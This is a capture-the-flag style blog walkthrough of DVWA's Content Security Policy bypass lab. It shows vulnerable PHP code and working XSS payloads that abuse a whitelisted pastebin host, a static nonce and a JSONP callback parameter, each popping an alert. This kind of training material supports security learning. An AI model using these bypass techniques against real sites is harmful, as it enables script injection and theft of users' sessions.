DVWA - CSP Bypass

15 May 2019

Starting the challenge

Refer to the post start DVWA with Docker to learn how to start DVWA. I will mostly use Burp Suite to solve the challenges. To configure Burp suite refer to the post configure burp suite for DVWA. Click on the CSP Bypass button on the left menu to access the challenge.

Low level - Understanding the application

We are greeted by the following message and a text input:

You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:

CSP application

We try to write some random text in the input and click Include. If we examine the response headers we can view the CSP rules :

NameValue
Content-Security-Policyscript-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;

Here we see that scripts may be loaded from the following sites :

What is CSP ?

CSP stands for Content Security Policy. This is a set of rules, sent to the server from the browser that specifies how the browser can load content such as a web page, images, or JavaScript libraries. For instance let's take a look at the following rule :

default-src 'self'; img-src *; script-src https://userscripts.example.com
RuleDescription
default-src 'self'Any content type is safe to load from the communicating server
img-src *Images may be loaded from any domain
script-src https://userscripts.example.comscripts may only be loaded from https://userscripts.example.com

Low level - Exploiting the vulnerability

Scripts may be loaded from the following sites :

The vulnerability here is that pastebin is a site that lets us create our own content. We can go on pastebin.com and create a paste with the following script :

alert("pwned!");

CSP pastebin

Once the paste is created, we get an id for it. We can access to the raw paste by appending /raw/ before the ID.

CSP pastebin raw

We get the link to the raw paste and put it in our input. When we click Include the page reloads, downloads our script from pastebin and executes it.

CSP low attack And we can see a pop-up with the text pwned!.

CSP low popup

Low level - Vulnerable code

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.

header($headerCSP);

## https://pastebin.com/raw/R570EE00

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

As we saw, the server allows the user to include script from http://pastebin.com. By doing so the server puts its trust in a external party over which it has no control.

Scripts from third party websites should not be accepted unless it is necessary.

Medium level - Understanding the application

The medium level differs a little from the low level. We are greeted by the following message:

Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.

If we try to enter test we can see that it is added to the page's source.

<h1>Vulnerability: Content Security Policy (CSP) Bypass</h1>

<div class="vulnerable_code_area">
test
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get  an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
</div>

Medium level - Exploiting the vulnerability

A simple XSS <script>alert(1)</script> doesn't work.

<h1>Vulnerability: Content Security Policy (CSP) Bypass</h1>
<div class="vulnerable_code_area">
<script>alert(1)</script>

It might be because we are in the div with the class vulnerable_code_area ? If we try to escape from it with </div><script>alert(1)</script><div>, it doesn't work either:

<h1>Vulnerability: Content Security Policy (CSP) Bypass</h1>

<div class="vulnerable_code_area">
</div><script>alert(1)</script><div>

Let's take a look at the Content-Security-Policy from the response headers. The CSP is the following :

script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';

Here is the official documentation for each of these parameters.

CSP parameterDescription
selfAllows loading resources from the same origin (same scheme, host and port).
self-inlineAllows use of inline source elements such as style attribute, onclick, or script tag bodies (depends on the context of the source it is applied to) and javascript: URIs
nonceAllows script or style tag to execute if the nonce attribute value matches the header value. For example: <script nonce="2726c7f26c">alert("hello");</script>

Apparently for our script tag to work we need to add the tag nonce with the correct value. The thing is... the nonce never changes ! So it is extra easy to do it, we just paste the following code in the input and sure enough we get our pop-up:

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("hello");</script>

High level - Understanding the application

This level indication is:

The page makes a call to ../..//vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code. 1+2+3+4+5=

When we click Solve the sum, we get :

The page makes a call to ../..//vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code. 1+2+3+4+5=15

When we take a look at the event triggered upon clicking the button, here is the code we find:

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

When we click on the button, a script tag is created. The source of the script is set to the file jsonp.php. When we click the button, the form is sent with the callback function within its parameter callback :

GET /vulnerabilities/csp/source/jsonp.php?callback=solveSum HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=120fgd8orft160g1ot137588k2; security=high
Connection: close
Pragma: no-cache
Cache-Control: no-cache

If we intercept the request and change the callback function from solveSum to alert("hello")//, we manage to create a pop up despite the Content Security Policy.